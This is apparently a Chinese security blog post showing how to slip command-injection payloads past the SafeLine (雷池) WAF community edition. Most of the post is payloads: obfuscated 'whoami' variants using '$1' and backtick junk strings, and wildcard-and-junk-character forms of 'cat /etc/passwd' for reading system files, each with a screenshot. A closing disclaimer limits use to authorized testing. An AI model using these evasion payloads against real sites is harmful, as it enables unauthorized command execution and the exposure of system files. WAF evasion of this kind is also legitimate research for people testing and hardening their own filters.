1.命令执行whoami回显
![图片[1]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224358.png)
2.构造不影响解析的poc
whoami
方法1 $1:
wh$1oami
![图片[2]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224408.png)
方法2 /;+`符号:
/;w`saldkj2190`ho`12wsa2`am`foj11`i
![图片[3]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224416.png)
cat /etc/passwd
方法一 通配符、垃圾字符1:
/;cat+/et?/passwd
![图片[4]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224429.png)
![图片[5]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224440.png)
方法三 通配符、垃圾字符3:
/;cat+12321231313213+/e*c/passwd
![图片[6]-雷池waf社区版命令执行绕过-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2024/04/d2b5ca33bd20240413224450.png)
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END










请登录后查看评论内容